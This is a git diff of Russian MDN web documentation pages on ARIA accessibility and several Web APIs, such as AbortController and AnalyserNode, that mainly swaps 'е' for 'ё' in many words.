diff options
Diffstat (limited to 'files/ru/web')
1159 files changed, 3858 insertions, 3858 deletions
diff --git a/files/ru/web/accessibility/aria/aria_techniques/index.html b/files/ru/web/accessibility/aria/aria_techniques/index.html index 2e29856a5c..192996ad83 100644 --- a/files/ru/web/accessibility/aria/aria_techniques/index.html +++ b/files/ru/web/accessibility/aria/aria_techniques/index.html @@ -47,7 +47,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques <h3 id="Композиционные_роли">Композиционные роли</h3> -<p>Приведенные ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.</p> +<p>Приведённые ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.</p> <div class="index"> <ul> diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html index e481272f17..a2d825dcb0 100644 --- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html +++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html @@ -15,13 +15,13 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedb <h3 id="Значение">Значение</h3> -<p>разделенный пробелами список ID элементов</p> +<p>разделённый пробелами список ID элементов</p> <h3 id="Возможные_последствия_для_пользовательских_агентов_и_вспомогательных_технологий">Возможные последствия для пользовательских агентов и вспомогательных технологий</h3> -<div class="note"><strong>Примечание:</strong> Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведенная выше информация является одним из таких мнений и поэтому не носит нормативного характера.</div> +<div class="note"><strong>Примечание:</strong> Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведённая выше информация является одним из таких мнений и поэтому не носит нормативного характера.</div> <h3 id="Примеры">Примеры</h3> diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html index 97a87de95b..06f511c886 100644 --- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html +++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html @@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby <h3 id="Значение">Значение</h3> -<p>Список идентификаторов (id) разделенных пробелом</p> +<p>Список идентификаторов (id) разделённых пробелом</p> <h3 id="Возможные_эффекты_в_клиентских_приложениях_и_вспомогательных_технологиях">Возможные эффекты в клиентских приложениях и вспомогательных технологиях</h3> diff --git a/files/ru/web/accessibility/aria/index.html b/files/ru/web/accessibility/aria/index.html index b2dc0f6ec3..8a983d96e0 100644 --- a/files/ru/web/accessibility/aria/index.html +++ b/files/ru/web/accessibility/aria/index.html @@ -49,9 +49,9 @@ translation_of: Web/Accessibility/ARIA <dl> <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Навигация с помощью клавиатуры и фокус в виджетах на JavaScript</a></dt> - <dd>Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Еще один хороший ресурс - <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">статья Yahoo! об управлении фокусом.</a></dd> + <dd>Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Ещё один хороший ресурс - <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">статья Yahoo! об управлении фокусом.</a></dd> <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/">Style Guide for Keyboard Navigation</a></dt> - <dd>В этом руководстве описываются способы управления самыми распространенными виджетами с клавиатуры.</dd> + <dd>В этом руководстве описываются способы управления самыми распространёнными виджетами с клавиатуры.</dd> </dl> <h3 id="Дополнительные_ресурсы_по_ARIA">Дополнительные ресурсы по ARIA</h3> @@ -68,7 +68,7 @@ translation_of: Web/Accessibility/ARIA <h3 id="Список_рассылки.">Список рассылки.</h3> <dl> - <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Открытая Google Group, посвященная ARIA</a></dt> + <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Открытая Google Group, посвящённая ARIA</a></dt> <dd>Здесь можно задать вопрос об ARIA, а также предложить улучшение существующей документации, которая находится там же.</dd> </dl> @@ -94,7 +94,7 @@ translation_of: Web/Accessibility/ARIA <dt><a class="external" href="http://mail.yahoo.com">Yahoo! Mail</a></dt> <dd>Детище Yahoo! - Yahoo! Mail, веб-приложение, выглядящее практически как нативное и вполне доступное. После <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">обзора Yahoo! Mail</a> с использованием экранной читалки Marco Zehe сказал: "Хорошая работа, не сбавляйте обороты!".</dd> <dt><a class="external" href="http://search.yahoo.com">Yahoo! Search</a></dt> - <dd>Yahoo! проделали невероятную работу по продвижению ARIA в своем поисковике, используя все возможности и <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">делясь своим опытом</a>. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.</dd> + <dd>Yahoo! проделали невероятную работу по продвижению ARIA в своём поисковике, используя все возможности и <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">делясь своим опытом</a>. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.</dd> </dl> <h3 id="Стандартизация.">Стандартизация.</h3> diff --git a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html index 7301c80fa2..5a4c474ed2 100644 --- a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html +++ b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html @@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <h2 id="Описание">Описание</h2> -<p>Нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a> элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с <a href="/en-US/docs/Web/HTML/Element/input/checkbox#Indeterminate_state_checkboxes">неопределенным</a> состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с <code>role="checkbox"</code> может находиться в трех состояниях, обозначенных через <code>aria-checked</code> атрибут: <code>true</code>, <code>false</code>, or <code>mixed</code>.</p> +<p>Нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a> элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с <a href="/en-US/docs/Web/HTML/Element/input/checkbox#Indeterminate_state_checkboxes">неопределённым</a> состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с <code>role="checkbox"</code> может находиться в трёх состояниях, обозначенных через <code>aria-checked</code> атрибут: <code>true</code>, <code>false</code>, or <code>mixed</code>.</p> <p>Поскольку чекбокс является интерактивным элементом, он должен быть фокусируемым и доступным при помощи клавиатуры. Если роль установлена для нефокусируемого элемента, чтобы исправить ситуацию, используйте атрибут <code>tabindex</code>. Ожидаемый способ активации чекбокса при помощи клавиатуры - <kbd>Пробел</kbd> .</p> @@ -31,14 +31,14 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <dl> <dt>aria-checked</dt> <dd> - <p>Значение <code>aria-checked</code> определяет состояние чекбокса. Этот атрибут может принимать одно из трех значений:</p> + <p>Значение <code>aria-checked</code> определяет состояние чекбокса. Этот атрибут может принимать одно из трёх значений:</p> <p><code>true</code><br> Чекбокс отмечен<br> <code>false</code><br> Чекбокс не отмечен<br> <code>mixed</code><br> - Чекбокс частично отмечен, или в неопределенном состоянии</p> + Чекбокс частично отмечен, или в неопределённом состоянии</p> </dd> <dt>tabindex="0"</dt> <dd>Делает элемент фокусируемым, так что пользователь ассистивных технологий может сразу перейти к нему и начать читать.</dd> @@ -67,7 +67,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <dt>onclick</dt> <dd>Обрабатывает клики, которые изменяют состояние чекбокса, меняя значение атрибута <code>aria-checked</code> и внешний вид чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd> <dt>onKeyPress</dt> - <dd>Обрабатывает случай, когда пользователь нажимает <kbd>Пробел</kbd> для смены состояния чекбокса путем изменения значения атрибута <code>aria-checked</code> и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd> + <dd>Обрабатывает случай, когда пользователь нажимает <kbd>Пробел</kbd> для смены состояния чекбокса путём изменения значения атрибута <code>aria-checked</code> и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd> </dl> <dl> @@ -75,7 +75,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <h3 id="Примеры">Примеры</h3> -<p>Пример ниже создает простой чекбокс, используя CSS и JavaScript для обработки отмеченного и неотмеченного состояний элемента.</p> +<p>Пример ниже создаёт простой чекбокс, используя CSS и JavaScript для обработки отмеченного и неотмеченного состояний элемента.</p> <h4 id="HTML">HTML</h4> @@ -128,7 +128,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <li>Программы чтения с экрана должны объявить элемент как чекбокс и при необходимости предоставить инструкции о том, как его активировать.</li> </ul> -<div class="note"><strong>Замечание:</strong> Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведенная выше, также одно из таких мнений, и не является нормативом.</div> +<div class="note"><strong>Замечание:</strong> Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведённая выше, также одно из таких мнений, и не является нормативом.</div> <h2 id="Лучшие_практики">Лучшие практики</h2> diff --git a/files/ru/web/accessibility/index.html b/files/ru/web/accessibility/index.html index 5906df0a22..4caa565c8a 100644 --- a/files/ru/web/accessibility/index.html +++ b/files/ru/web/accessibility/index.html @@ -13,7 +13,7 @@ translation_of: Web/Accessibility <p>Технологии облегчают жизнь многим людям. А людям с ограниченными возможностями технологии дают такие возможности, которые ранее им были недоступны. Доступность в контексте разработки подразумевает создание такого контента, пользоваться которым мог бы каждый, несмотря на индивидуальные физические или когнитивные способности и вне зависимости от того, как они получают доступ в сеть.</p> -<p>«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифленой тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Статья Accessibility в английской Википедии</a></p> +<p>«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифлёной тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Статья Accessibility в английской Википедии</a></p> <p>"<strong>Интернет принципиально создан для всех людей на Земле,</strong> независимо от их аппаратных, программных, языковых, культурных, территориальных, физических или умственных способностей." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p> diff --git a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html index 6e67f41591..4c7755c6a1 100644 --- a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html +++ b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html @@ -40,12 +40,12 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <tr> <td>Нуль (<code>tabindex="0"</code>)</td> <td>Возможен</td> - <td>Происходит поочередно, исходя из позиции элемента внутри документа</td> + <td>Происходит поочерёдно, исходя из позиции элемента внутри документа</td> </tr> <tr> <td>Более нуля (например <code>tabindex="33"</code>)</td> <td>Возможен</td> - <td>Значение атрибута <code>tabindex</code> указывает очередность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придет на такие элементы раньше, чем на элементы с <code>tabindex="0"</code> и элементы, которые способны получить фокус без атрибута <code>tabindex</code> (например, <code>tabindex="7"</code> получит фокус раньше <code>tabindex="11"</code>)</td> + <td>Значение атрибута <code>tabindex</code> указывает очерёдность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придёт на такие элементы раньше, чем на элементы с <code>tabindex="0"</code> и элементы, которые способны получить фокус без атрибута <code>tabindex</code> (например, <code>tabindex="7"</code> получит фокус раньше <code>tabindex="11"</code>)</td> </tr> </tbody> </table> @@ -54,7 +54,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <p>Чтобы сделать простой виджет доступным через клавишу Tab, задайте <code>tabindex="0"</code> на HTML элементах {{HTMLElement("div")}} или {{HTMLElement("span")}}, из которых он состоит. Ниже представлен пример эмулирования чекбоксов. Вместо элементов input в примере используется {{HTMLElement("span")}}.</p> -<p><em>Пример 1: Простой виджет, эмулирующий работу чекбосов путем смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.</em></p> +<p><em>Пример 1: Простой виджет, эмулирующий работу чекбосов путём смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.</em></p> <pre class="brush: html"><!-- Без атрибута tabindex, элементы <span> не смогут принимать фокус с клавиатуры --> <div> @@ -81,7 +81,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <p>Безусловно есть необходимость создания более сложных виджетов. В качестве примеров можно привести меню, панели табов, различные динамические таблицы, представления для информации, имеющей древовидную структуру. Для таких контролов родительский элемент должен иметь атрибут <code>tabindex="0"</code>. В таком случае он сможет попасть в фокус с клавиатуры. Все дочерние элементы (пункты меню, отдельные табы, ячейки, строки) должны иметь <code>tabindex="-1"</code>, чтобы не попадать в фокус при нажатии tab. Пользователи должны иметь возможность путешествовать по дочерним элементам при помощи стрелочек на клавиатуре.</p> -<p>Ниже приведен пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.</p> +<p>Ниже приведён пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.</p> <p><em>Пример 2: Меню, использующее атрибут tabindex для осуществления доступа с клавиатуры</em></p> @@ -98,7 +98,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <ul id="styleMenu" title="Стиль" tabindex="-1"> <li id="italic" tabindex="-1">Наклонный</li> <li id="bold" tabindex="-1">Жирный</li> - <li id="underline" tabindex="-1">Подчеркнутый</li> + <li id="underline" tabindex="-1">Подчёркнутый</li> </ul> </li> <li id="mb1_menu3" tabindex="-1"> Выравнивание @@ -117,7 +117,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <h3 id="Управление_фокусом_внутри_виджета">Управление фокусом внутри виджета</h3> -<p>Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определенный элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:</p> +<p>Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определённый элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:</p> <ol> <li>Переходящий <code>tabindex</code>: программное перемещение фокуса</li> @@ -126,7 +126,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <h4 id="Техника_первая_Переходящий_tabindex">Техника первая: Переходящий tabindex</h4> -<p>Идея данной техники заключается в выставлении атрибута <code>tabindex</code> в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдет табом с виджета, а потом вернется обратно, элемент восстановит фокус правильно. Заметьте, что выставляя <code>tabindex</code> в "0", необходимо выставлять <code>tabindex="-1"</code> для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.</p> +<p>Идея данной техники заключается в выставлении атрибута <code>tabindex</code> в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдёт табом с виджета, а потом вернётся обратно, элемент восстановит фокус правильно. Заметьте, что выставляя <code>tabindex</code> в "0", необходимо выставлять <code>tabindex="-1"</code> для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.</p> <p>Для этого необходимо обрабатывать событие keydown для каждого дочернего элемента виджета. Когда пользователь нажимает на стрелочки на клавиатуре, чтобы переместиться на другой элемент следует:</p> @@ -142,7 +142,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <h6 id="Используйте_element.focus()_чтобы_задать_фокус_элементу">Используйте element.focus() чтобы задать фокус элементу</h6> -<p>Не используйте <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошел фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте <code>element.focus()</code>.</p> +<p>Не используйте <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошёл фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте <code>element.focus()</code>.</p> <h6 id="Используйте_событие_onfocus_чтобы_отслеживать_фокус">Используйте событие onfocus чтобы отслеживать фокус</h6> diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html index e63497f6ee..733a758e3a 100644 --- a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html +++ b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html @@ -9,13 +9,13 @@ translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast --- <h2 id="Описание_проблемы">Описание проблемы</h2> -<p>Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своем сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.</p> +<p>Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своём сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.</p> <p>Пример хорошего контраста:<img alt="An example of good color contrast consisting of the words good contrast with a light purple background." src="https://mdn.mozillademos.org/files/16466/Screen_Shot_2019-02-04_at_5.31.23_PM.png" style="height: 310px; width: 810px;"></p> <p>Пример плохого контраста:<img alt="An example of bad color contrast consisting of the words bad contrast with a dark purple background." src="https://mdn.mozillademos.org/files/16467/Screen_Shot_2019-02-04_at_5.31.34_PM.png" style="height: 316px; width: 814px;"></p> -<p>Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определенными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.</p> +<p>Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определёнными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.</p> <h2 id="Связанные_с_WCAG_критерии_успеха">Связанные с WCAG критерии успеха</h2> diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html index 4914b8ca76..07671c5722 100644 --- a/files/ru/web/api/abortcontroller/index.html +++ b/files/ru/web/api/abortcontroller/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/AbortController <dl> <dt>{{domxref("AbortController.AbortController()")}}</dt> - <dd>Создает новый экземпляр <code>AbortController</code>.</dd> + <dd>Создаёт новый экземпляр <code>AbortController</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -27,16 +27,16 @@ translation_of: Web/API/AbortController <dl> <dt>{{domxref("AbortController.abort()")}}</dt> - <dd>Прерывает DOM запрос до момента его завершения. Это дает возможность обрывать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, потребителей любых ответов с {{domxref("Body")}} и потоки.</dd> + <dd>Прерывает DOM запрос до момента его завершения. Это даёт возможность обрывать <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, потребителей любых ответов с {{domxref("Body")}} и потоки.</dd> </dl> <h2 id="Примеры">Примеры</h2> <p>В текущем фрагменте мы пытаемся скачать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p> -<p>Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмем ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p> +<p>Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмём ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p> -<p>При инициализации <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, мы передаем <code>AbortSignal</code> в качестве параметра (смотрите ниже <code>{signal}</code>). Это ассоциирует сигнал и контроллер с fetch запросом и дает нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.</p> +<p>При инициализации <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, мы передаём <code>AbortSignal</code> в качестве параметра (смотрите ниже <code>{signal}</code>). Это ассоциирует сигнал и контроллер с fetch запросом и даёт нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.</p> <pre class="brush: js">var controller = new AbortController(); var signal = controller.signal; @@ -61,7 +61,7 @@ function fetchVideo() { }</pre> <div class="note"> -<p><strong>Заметка</strong>: При вызове <code>abort()</code>, промис <code>fetch()</code> будет отклонен с <code>AbortError</code>.</p> +<p><strong>Заметка</strong>: При вызове <code>abort()</code>, промис <code>fetch()</code> будет отклонён с <code>AbortError</code>.</p> </div> <p>Вы можете найти полный рабочий пример на GitHub — смотрите <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">и живой пример</a>).</p> diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html index 1830282648..ea8d029224 100644 --- a/files/ru/web/api/abortsignal/index.html +++ b/files/ru/web/api/abortsignal/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/AbortSignal <dl> <dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt> - <dd>Это {{domxref("Boolean")}}, который указывает, отменен ли запрос(ы), с которым связывался сигнал, отменён (<code>true</code>) или нет (<code>false</code>).</dd> + <dd>Это {{domxref("Boolean")}}, который указывает, отменён ли запрос(ы), с которым связывался сигнал, отменён (<code>true</code>) или нет (<code>false</code>).</dd> </dl> <h3 id="Обработчики_событий">Обработчики событий</h3> diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html index f7aa28428b..fc666b57c7 100644 --- a/files/ru/web/api/abstractworker/index.html +++ b/files/ru/web/api/abstractworker/index.html @@ -45,7 +45,7 @@ first.onchange = function() { console.log('Message posted to worker'); }</pre> -<p>Код воркера загружается из файла <code>"worker.js"</code>. В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная <code>first</code>. Для события {{domxref("change")}} элемента создается обработчик, поэтому когда пользователь изменяет значение для <code>first</code>, отправляется сообщение в воркер для уведомления его об данных изменениях.</p> +<p>Код воркера загружается из файла <code>"worker.js"</code>. В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная <code>first</code>. Для события {{domxref("change")}} элемента создаётся обработчик, поэтому когда пользователь изменяет значение для <code>first</code>, отправляется сообщение в воркер для уведомления его об данных изменениях.</p> <p>Вы можете найти больше примеров в репозитории MDN Web Docs на GitHub:</p> diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html index 61b79484e6..c992706006 100644 --- a/files/ru/web/api/ambient_light_events/index.html +++ b/files/ru/web/api/ambient_light_events/index.html @@ -2,20 +2,20 @@ title: Ambient Light Events slug: Web/API/Ambient_Light_Events tags: - - Освещенность + - Освещённость translation_of: Web/API/Ambient_Light_Events --- <div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div> -<p>События "окружающего света" - удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путем изменения цветового контраста пользовательского интерфейса (UI) или путем изменения экспозиции, необходимой для фотографирования.</p> +<p>События "окружающего света" - удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путём изменения цветового контраста пользовательского интерфейса (UI) или путём изменения экспозиции, необходимой для фотографирования.</p> <h2 id="Световые_события">Световые события</h2> -<p>Когда датчик света устройства обнаруживает изменение уровня освещенности, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.</p> +<p>Когда датчик света устройства обнаруживает изменение уровня освещённости, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.</p> -<p>Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}} (используя имя события {{event("devicelight")}} ) или путем присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.</p> +<p>Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}} (используя имя события {{event("devicelight")}} ) или путём присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.</p> -<p>После того, как захвачен объект события дает доступ к интенсивности света, выраженного в <a href="http://en.wikipedia.org/wiki/Lux">lux</a> через свойство {{domxref("DeviceLightEvent.value")}}.</p> +<p>После того, как захвачен объект события даёт доступ к интенсивности света, выраженного в <a href="http://en.wikipedia.org/wiki/Lux">lux</a> через свойство {{domxref("DeviceLightEvent.value")}}.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html index c042694040..94309ba833 100644 --- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html +++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData <p>Данные частоты состоят из целых чисел по шкале от 0 до 255.</p> -<p>Каждый элемент в массиве представляет собой значение в децибелах для определенной частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации <code>48000</code> последний элемент массива будет представлять значение в децибелах для <code>24000</code> Гц.</p> +<p>Каждый элемент в массиве представляет собой значение в децибелах для определённой частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации <code>48000</code> последний элемент массива будет представлять значение в децибелах для <code>24000</code> Гц.</p> <p>Если в массиве меньше элементов, чем в {{domxref("AnalyserNode.frequencyBinCount")}}, лишние элементы удаляются. Если в нем больше элементов, чем необходимо, лишние элементы игнорируются.</p> diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html index 558e053527..3f769d4c64 100644 --- a/files/ru/web/api/angle_instanced_arrays/index.html +++ b/files/ru/web/api/angle_instanced_arrays/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/ANGLE_instanced_arrays <p>Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.</p> </dd> <dt>{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}</dt> - <dd>Ведет себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором</dd> + <dd>Ведёт себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором</dd> <dt>{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}</dt> <dd> <p>Изменяет скорость продвижения общих атрибутов вершин при визуализации нескольких экземпляров примитивов с помощью {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} и {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.</p> @@ -67,7 +67,7 @@ translation_of: Web/API/ANGLE_instanced_arrays <h2 id="Совместимость_браузеров">Совместимость браузеров</h2> -<p 